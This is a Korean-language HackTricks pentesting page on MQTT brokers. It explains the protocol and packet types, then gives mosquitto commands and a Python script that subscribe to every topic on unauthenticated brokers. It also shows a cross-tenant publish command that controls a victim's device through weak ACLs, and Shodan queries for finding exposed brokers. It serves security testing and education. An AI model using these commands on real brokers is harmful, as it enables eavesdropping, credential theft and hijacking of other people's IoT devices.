1883 - Pentesting MQTT (Mosquitto)

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

**MQ Telemetry Transport (MQTT)**는 극도로 단순하고 경량화된 게시/구독 메시지 프로토콜로, 기능이 제한된 장치들이 낮은 대역폭, 높은 지연, 또는 불안정한 연결을 가진 네트워크에서 동작하도록 특별히 설계되었습니다. MQTT의 핵심 목적은 네트워크 대역폭 사용을 최소화하고 장치 리소스 요구를 줄이는 것입니다. 또한 신뢰성 있는 통신을 유지하고 일정 수준의 전달 보장을 제공하는 것을 목표로 합니다. 이러한 목표로 인해 MQTT는 수많은 장치를 효율적으로 연결해야 하는 기계 간 통신 (M2M)사물 인터넷 (IoT) 분야에 특히 적합합니다. 또한 대역폭과 배터리 수명을 절약해야 하는 모바일 애플리케이션에서도 매우 유용합니다.

기본 포트: 1883

PORT     STATE SERVICE                 REASON
1883/tcp open  mosquitto version 1.4.8 syn-ack

트래픽 검사

CONNECT 패킷이 MQTT 브로커에 도착하면, CONNACK 패킷이 응답으로 전송됩니다. 이 패킷에는 연결 상태를 파악하는 데 중요한 반환 코드가 포함되어 있습니다. 0x00의 반환 코드는 자격 증명이 수락되어 연결이 성공했음을 의미합니다. 반면 0x05의 반환 코드는 자격 증명이 유효하지 않아 연결이 차단되었음을 나타냅니다.

예를 들어, 브로커가 자격 증명이 유효하지 않아 연결을 거부하는 경우, 시나리오는 다음과 같이 보일 것입니다:

{
"returnCode": "0x05",
"description": "Connection Refused, not authorized"
}

Brute-Force MQTT

Pentesting MQTT

Authentication is totally optional — 인증은 완전히 선택사항이며, 인증이 적용되더라도 encryption is not used by default (credentials are sent in clear text). MITM 공격은 여전히 실행되어 passwords를 탈취할 수 있습니다.

To connect to a MQTT service you can use: https://github.com/bapowell/python-mqtt-client-shell and subscribe yourself to all the topics doing:

> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"

다음도 사용할 수 있습니다: https://github.com/akamai-threat-research/mqtt-pwn

다음도 사용할 수 있습니다:

bash
apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.

또는 인증 없이 MQTT 서비스에 연결해 모든 토픽을 구독하고 메시지를 수신하는 이 코드를 실행할 수 있습니다:

python
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os

HOST = "127.0.0.1"
PORT = 1883

def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1)
client.subscribe('$SYS/index.html#')

def on_message(client, userdata, message):
print('Topic: %s | QOS: %s  | Message: %s' % (message.topic, message.qos, message.payload))

def main():
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(HOST, PORT)
client.loop_start()
#time.sleep(10)
#client.loop_stop()

if __name__ == "__main__":
main()

발행/구독 패턴

발행/구독 모델은 다음으로 구성됩니다:

  • 발행자: 브로커의 하나(또는 여러) 토픽에 메시지를 발행합니다.
  • 구독자: 브로커의 하나(또는 여러) 토픽을 구독하고 발행자가 보낸 모든 메시지를 수신합니다.
  • 브로커: 발행자로부터 구독자에게 모든 메시지를 라우팅합니다.
  • 토픽: 하나 이상의 레벨로 구성되며 각 레벨은 슬래시로 구분됩니다 (예: /smartshouse/livingroom/temperature).

패킷 형식

모든 MQTT 패킷은 고정 헤더를 포함합니다(그림 02).그림 02: 고정 헤더

https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png

패킷 유형

  • CONNECT (1): 클라이언트가 서버에 연결을 요청할 때 시작합니다.
  • CONNACK (2): 서버가 연결 성공을 확인하는 응답입니다.
  • PUBLISH (3): 클라이언트가 서버로 또는 서버가 클라이언트로 메시지를 보낼 때 사용합니다.
  • PUBACK (4): PUBLISH 패킷에 대한 확인 응답입니다.
  • PUBREC (5): 메시지 전달 프로토콜의 일부로, 메시지가 수신되었음을 보장합니다.
  • PUBREL (6): 메시지 전달에 대한 추가 보장으로, 메시지 릴리스를 표시합니다.
  • PUBCOMP (7): 메시지 전달 프로토콜의 최종 단계로, 완료를 표시합니다.
  • SUBSCRIBE (8): 클라이언트가 특정 토픽의 메시지를 듣기 위해 요청할 때 사용합니다.
  • SUBACK (9): SUBSCRIBE 요청에 대한 서버의 확인 응답입니다.
  • UNSUBSCRIBE (10): 클라이언트가 특정 토픽의 메시지 수신을 중지하도록 요청할 때 사용합니다.
  • UNSUBACK (11): UNSUBSCRIBE 요청에 대한 서버의 응답입니다.
  • PINGREQ (12): 클라이언트가 보내는 하트비트 메시지입니다.
  • PINGRESP (13): 하트비트 메시지에 대한 서버의 응답입니다.
  • DISCONNECT (14): 클라이언트가 연결을 종료하기 위해 시작합니다.
  • 값 0과 15는 예약(reserved)으로 표시되어 있으며 사용이 금지되어 있습니다.

IoT MQTT 생태계 공격: 평문 브로커 및 토픽 ACL 우회

많은 소비자용 IoT 플랫폼은 두 가지 역할에서 사용되는 MQTT 브로커를 노출합니다:

  • 게이트웨이/허브 장치: 무선 프로토콜(e.g., BLE/LoRa/Zigbee)을 클라우드로 브리지합니다.
  • 모바일 앱 또는 웹 백엔드: “app” 토픽을 통해 장치를 제어합니다.

pentest 동안 악용할 수 있는 일반적인 약점:

  • Plaintext MQTT를 표준이 아닌 포트(e.g., TCP/8001)로 제공하고 MQTTS를 사용하지 않는 경우. 경로상 관찰자는 자격증명과 제어 프레임을 읽을 수 있습니다. Wireshark를 사용해 특이한 포트에서 평문 CONNECT/CONNACK 및 SUBSCRIBE/PUBLISH 트래픽을 찾아보세요.
  • 테넌트별 토픽 ACL이 약하거나 누락된 경우. 토픽이 deviceId로만 네임스페이스화되어 있다면 (e.g., "/tenantless//tx"), 인증된 사용자가 다른 테넌트의 장치에 PUBLISH할 수 있습니다.
  • 유지보수/관리자 토픽을 통한 민감한 데이터 유출 (e.g., 설정 변경 후 평문으로 브로드캐스트되는 Wi‑Fi 자격증명).

예시 (플레이스홀더를 실제 값으로 바꿔 사용):

Subscribe to potentially sensitive topics with known topic prefixes and device IDs:

bash
# Using mosquitto_sub
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v

ACLs가 약할 때의 테넌트 간 제어 (다른 테넌트의 device topic으로 publish):

bash
mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
-i <your_client_id> -u <your_username> -P <your_password> \
-t "/ys/<victimDeviceId>/tx" \
-m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'

Shodan

  • port:1883 MQTT
  • 비표준 포트에서의 MQTT 평문 통신은 IoT에서 흔합니다. 대체 포트에서 브로커를 검색하고 프로토콜 탐지로 확인하세요.

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기